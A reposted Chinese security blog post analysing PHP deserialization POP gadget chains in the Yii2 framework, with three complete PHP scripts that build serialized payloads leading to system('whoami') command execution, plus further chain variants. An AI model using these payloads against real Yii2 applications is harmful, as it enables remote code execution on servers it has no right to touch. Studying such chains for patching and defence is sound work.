<p><img src="https://img2020.cnblogs.com/blog/1344396/202011/1344396-20201115145122095-169661432.png" alt="" width="404" height="138" loading="lazy"></p>
<p>继续跟进<span style="background-color: rgba(255, 255, 153, 1)">format()</span>方法:<br><img src="https://img2020.cnblogs.com/blog/1344396/202011/1344396-20201115150134570-527183480.png" alt="" width="593" height="132" loading="lazy"></p>
<p>使用回调函数<span style="background-color: rgba(255, 255, 153, 1)">call_user_func_array()<span style="background-color: rgba(255, 255, 255, 1)">,</span></span>第一个参数调用了<span style="background-color: rgba(255, 255, 153, 1)">getFormatter()</span>方法获取,其第二个参数<span style="background-color: rgba(255, 255, 153, 1)">$arguments</span>是从<span style="background-color: rgba(255, 255, 153, 1)">yii\db\BatchQueryResult::reset()</span>里传进来的,是一个null空参,跟进<span style="background-color: rgba(255, 255, 153, 1)">getFormatter()</span>方法</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202011/1344396-20201115150403956-111544484.png" alt="" width="625" height="267" loading="lazy"></p>
<p>由于<span style="background-color: rgba(255, 255, 153, 1)">$this-&gt;formatters</span>参数是可控的,所以这里就可以赋值为任意类的对象,并可以调用类中的任意方法。</p>
<p>因为参数<span style="background-color: rgba(255, 255, 153, 1)">$formatter= ' close '</span>,<span style="background-color: rgba(255, 255, 153, 1)">$arguments</span>为空,所以<span style="background-color: rgba(255, 255, 153, 1)">call_user_func_array()</span>这个函数的第一个参数可控,第二个参数为空。需要去寻找实现命令执行的方法,并且参数可控。使用正则表达式<span style="background-color: rgba(255, 255, 153, 1)">call_user_func(\$this-&gt;(+), \$this-&gt;(+)\)</span>来匹配:</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202011/1344396-20201115150943247-599437061.png" alt="" width="496" height="179" loading="lazy"></p>
<p>首先第一处,文件路径<span style="background-color: rgba(255, 255, 153, 1)">vendor\yiisoft\yii2\rest\IndexAction.php</span>:</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202011/1344396-20201115151159775-20853964.png" alt="" width="497" height="191" loading="lazy"></p>
<p>参数<span style="background-color: rgba(255, 255, 153, 1)">$this-&gt;checkAccess</span>,<span style="background-color: rgba(255, 255, 153, 1)">$this-&gt;id</span>都是可控的,只要调用<span style="background-color: rgba(255, 255, 153, 1)">run()</span>方法,构造参数即可实现命令执行。</p>
<p>第二处,文件路径:<span style="background-color: rgba(255, 255, 153, 1)">vendor\yiisoft\yii2\rest\CreateAction.php</span>:</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202011/1344396-20201115151406120-386699685.png" alt="" width="475" height="160" loading="lazy"></p>
<p>跟上面的一样。</p>
<p>反序列化链为:</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">CreateAction::run() &lt;- Generator::__call() &lt;- BatchQueryResult::__destruct()</span></pre>
</div>
<p>尝试写一下payload:</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">&lt;?<span style="color: rgba(0, 0, 0, 1)">php
</span><span style="color: rgba(0, 0, 255, 1)">namespace</span><span style="color: rgba(0, 0, 0, 1)"> yii\rest{
    </span><span style="color: rgba(0, 0, 255, 1)">class</span><span style="color: rgba(0, 0, 0, 1)"> CreateAction{
      </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> $checkAccess;
      </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> $id;

      </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> function __construct(){
            $</span><span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;checkAccess = <span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">system</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">;
            $</span><span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;id = <span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">whoami</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">;
      }
    }
}

</span><span style="color: rgba(0, 0, 255, 1)">namespace</span><span style="color: rgba(0, 0, 0, 1)"> Faker{
    use yii\rest\CreateAction;

    </span><span style="color: rgba(0, 0, 255, 1)">class</span><span style="color: rgba(0, 0, 0, 1)"> Generator{
      </span><span style="color: rgba(0, 0, 255, 1)">protected</span><span style="color: rgba(0, 0, 0, 1)"> $formatters;

      </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> function __construct(){
            $</span><span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;formatters[<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">close</span><span style="color: rgba(128, 0, 0, 1)">'</span>] = [<span style="color: rgba(0, 0, 255, 1)">new</span> CreateAction, <span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">run</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">];
      }
    }
}

</span><span style="color: rgba(0, 0, 255, 1)">namespace</span><span style="color: rgba(0, 0, 0, 1)"> yii\db{
    use Faker\Generator;

    </span><span style="color: rgba(0, 0, 255, 1)">class</span><span style="color: rgba(0, 0, 0, 1)"> BatchQueryResult{
      </span><span style="color: rgba(0, 0, 255, 1)">private</span><span style="color: rgba(0, 0, 0, 1)"> $_dataReader;

      </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> function __construct(){
            $</span><span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;_dataReader = <span style="color: rgba(0, 0, 255, 1)">new</span><span style="color: rgba(0, 0, 0, 1)"> Generator;
      }
    }
}
</span><span style="color: rgba(0, 0, 255, 1)">namespace</span><span style="color: rgba(0, 0, 0, 1)">{
    echo base64_encode(serialize(</span><span style="color: rgba(0, 0, 255, 1)">new</span><span style="color: rgba(0, 0, 0, 1)"> yii\db\BatchQueryResult));
}
</span>?&gt;</span></pre>
</div>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202011/1344396-20201115153624805-2053312124.png" alt="" width="844" height="242" loading="lazy"></p>
<h2>第二条POP链</h2>
<p>起点在于<span style="background-color: rgba(255, 255, 153, 1)">RunProcess</span>类,文件路径<span style="background-color: rgba(255, 255, 153, 1)">vendor\codeception\codeception\ext\RunProcess.php</span>:</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202011/1344396-20201115155959400-979913506.png" alt="" width="639" height="350" loading="lazy"></p>
<p>其中因为<span style="background-color: rgba(255, 255, 153, 1)">$this-&gt;processes</span>是可控的,所以依然可以构造来调用类的__call()方法,接下来和第一条POP链一样,只是起点不同。此时反序列化链:</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">CreateAction::run() &lt;- Generator::__call() &lt;- RunProcess::__destruct()</span></pre>
</div>
<p>payload为:</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">&lt;?<span style="color: rgba(0, 0, 0, 1)">php
</span><span style="color: rgba(0, 0, 255, 1)">namespace</span><span style="color: rgba(0, 0, 0, 1)"> yii\rest{
    </span><span style="color: rgba(0, 0, 255, 1)">class</span><span style="color: rgba(0, 0, 0, 1)"> CreateAction{
      </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> $id;
      </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> $checkAccess;

      </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> function __construct()
      {
            $</span><span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;id = <span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">whoami</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">;
            $</span><span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;checkAccess = <span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">system</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">;
      }
    }
}

</span><span style="color: rgba(0, 0, 255, 1)">namespace</span><span style="color: rgba(0, 0, 0, 1)"> Faker{
    use yii\rest\CreateAction;

    </span><span style="color: rgba(0, 0, 255, 1)">class</span><span style="color: rgba(0, 0, 0, 1)"> Generator{
      </span><span style="color: rgba(0, 0, 255, 1)">protected</span><span style="color: rgba(0, 0, 0, 1)"> $formatters;

      </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> function __construct()
      {
            $</span><span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;formatters[<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">isRunning</span><span style="color: rgba(128, 0, 0, 1)">'</span>] = [<span style="color: rgba(0, 0, 255, 1)">new</span> CreateAction(), <span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">run</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">];
      }
    }
}

</span><span style="color: rgba(0, 0, 255, 1)">namespace</span><span style="color: rgba(0, 0, 0, 1)"> Codeception\Extension{
    use Faker\Generator;

    </span><span style="color: rgba(0, 0, 255, 1)">class</span><span style="color: rgba(0, 0, 0, 1)"> RunProcess{
      </span><span style="color: rgba(0, 0, 255, 1)">private</span><span style="color: rgba(0, 0, 0, 1)"> $process;

      </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> function __construct()
      {
            $</span><span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;process = [<span style="color: rgba(0, 0, 255, 1)">new</span><span style="color: rgba(0, 0, 0, 1)"> Generator()];
      }
    }
}

</span><span style="color: rgba(0, 0, 255, 1)">namespace</span><span style="color: rgba(0, 0, 0, 1)"> {
    echo base64_encode(serialize(</span><span style="color: rgba(0, 0, 255, 1)">new</span><span style="color: rgba(0, 0, 0, 1)"> Codeception\Extension\RunProcess()));
}</span></span></pre>
</div>
<h2>第三条POP链</h2>
<p>起点在于<span style="background-color: rgba(255, 255, 153, 1)">Swift_KeyCache_DiskKeyCache</span>类,漏洞文件<span style="background-color: rgba(255, 255, 153, 1)">vendor\swiftmailer\swiftmailer\lib\classes\Swift\KeyCache\DiskKeyCache.php</span>:</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202011/1344396-20201115162917990-1272645576.png" alt="" width="472" height="159" loading="lazy"></p>
<p>跟进<span style="background-color: rgba(255, 255, 153, 1)">clearAll()</span>方法:</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202011/1344396-20201115163800699-1849571270.png" alt="" width="477" height="210" loading="lazy"></p>
<p>这里<span style="background-color: rgba(255, 255, 153, 1)">$this-&gt;path</span>是可控的参数,与字符串<span style="background-color: rgba(255, 255, 153, 1)">' / '</span>拼接就会触发魔术方法<span style="background-color: rgba(255, 255, 153, 1)">__toString()</span>,这里全局搜索一下<span style="background-color: rgba(255, 255, 153, 1)">function __toString(</span>,寻找可以利用的类。</p>
<p>这里选择<span style="background-color: rgba(255, 255, 153, 1)">Deprecated</span>类下的__toString()方法,文件路径<span style="background-color: rgba(255, 255, 153, 1)">vendor\phpdocumentor\reflection-docblock\src\DocBlock\Tags\Deprecated.php</span>:</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202011/1344396-20201115163410565-1512023431.png" alt="" width="669" height="129" loading="lazy"></p>
<p>因为<span style="background-color: rgba(255, 255, 153, 1)">$this-&gt;description</span>为可控参数,通过构造,同时可以触发魔术方法<span style="background-color: rgba(255, 255, 153, 1)">__call()</span>,接下来的利用跟上面一样。反序列化链为:</p>
<div class="cnblogs_code">
<pre>yii\rest\IndexAction::run() &lt;- Faker\Generator::__call() &lt;- src\DocBlock\Tags\Deprecated.php::__toString() &lt;- Swift\KeyCache\DiskKeyCache::__destruct()</pre>
</div>
<p>payload为:</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">&lt;?<span style="color: rgba(0, 0, 0, 1)">php
</span><span style="color: rgba(0, 0, 255, 1)">namespace</span><span style="color: rgba(0, 0, 0, 1)"> yii\rest{
    </span><span style="color: rgba(0, 0, 255, 1)">class</span><span style="color: rgba(0, 0, 0, 1)"> CreateAction{
      </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> $id;
      </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> $checkAccess;

      </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> function __construct()
      {
            $</span><span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;id = <span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">whoami</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">;
            $</span><span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;checkAccess = <span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">system</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">;
      }
    }
}

</span><span style="color: rgba(0, 0, 255, 1)">namespace</span><span style="color: rgba(0, 0, 0, 1)"> Faker{
    use yii\rest\CreateAction;

    </span><span style="color: rgba(0, 0, 255, 1)">class</span><span style="color: rgba(0, 0, 0, 1)"> Generator{
      </span><span style="color: rgba(0, 0, 255, 1)">protected</span><span style="color: rgba(0, 0, 0, 1)"> $formatters;

      </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> function __construct()
      {
            $</span><span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;formatters[<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">render</span><span style="color: rgba(128, 0, 0, 1)">'</span>] = [<span style="color: rgba(0, 0, 255, 1)">new</span> CreateAction(), <span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">run</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">];
      }
    }
}

</span><span style="color: rgba(0, 0, 255, 1)">namespace</span><span style="color: rgba(0, 0, 0, 1)"> phpDocumentor\Reflection\DocBlock\Tags{
    use Faker\Generator;

    </span><span style="color: rgba(0, 0, 255, 1)">class</span><span style="color: rgba(0, 0, 0, 1)"> Deprecated{
      </span><span style="color: rgba(0, 0, 255, 1)">protected</span><span style="color: rgba(0, 0, 0, 1)"> $description;
      </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> function __construct()
      {
            $</span><span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;description = <span style="color: rgba(0, 0, 255, 1)">new</span><span style="color: rgba(0, 0, 0, 1)"> Generator();
      }
    }
}

</span><span style="color: rgba(0, 0, 255, 1)">namespace</span><span style="color: rgba(0, 0, 0, 1)"> {
    use phpDocumentor\Reflection\DocBlock\Tags\Deprecated;

    </span><span style="color: rgba(0, 0, 255, 1)">class</span><span style="color: rgba(0, 0, 0, 1)"> Swift_KeyCache_DiskKeyCache{
      </span><span style="color: rgba(0, 0, 255, 1)">private</span><span style="color: rgba(0, 0, 0, 1)"> $path;
      </span><span style="color: rgba(0, 0, 255, 1)">private</span><span style="color: rgba(0, 0, 0, 1)"> $keys;

      </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> function __construct()
      {
            $</span><span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;path = <span style="color: rgba(0, 0, 255, 1)">new</span><span style="color: rgba(0, 0, 0, 1)"> Deprecated();
            $</span><span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;keys = array(<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">just</span><span style="color: rgba(128, 0, 0, 1)">"</span>=&gt;array(<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">for</span><span style="color: rgba(128, 0, 0, 1)">"</span>=&gt;<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">xxx</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">));
      }
    }
    echo base64_encode(serialize(</span><span style="color: rgba(0, 0, 255, 1)">new</span><span style="color: rgba(0, 0, 0, 1)"> Swift_KeyCache_DiskKeyCache()));
}</span></span></pre>
</div>
<p>经过上面的POP链可以发现基本都是尝试去寻找可以触发魔术方法__call()的地方,后半部分一样,只是漏洞的触发点不同,与此类似的POP链还有:</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">yii\rest\IndexAction::run() &lt;- Faker\Generator::__call() &lt;- src\DocBlock\Tags\See.php::__toString() &lt;- Swift\KeyCache\DiskKeyCache::__destruct()</span></pre>
</div>
<p>还有:</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">yii\rest\IndexAction::run() &lt;- Faker\Generator::__call() &lt;- src\DocBlock\Description.php::__toString() &lt;- Swift\KeyCache\DiskKeyCache::__destruct()</span></pre>
</div>
<h1>wordpress4.9反序列化导致任意代码执行</h1>
<p>具体分析请参考:</p>
<p>《PHP反序列化漏洞的新攻击面》</p>
<p>《利用 phar 拓展 php 反序列化漏洞攻击面》</p>
<p>&nbsp;</p><br><br>
来源:https://www.cnblogs.com/bmjoker/p/13831713.html
頁: [1]
查看完整版本: 4. php反序列化从入门到放弃(放弃篇)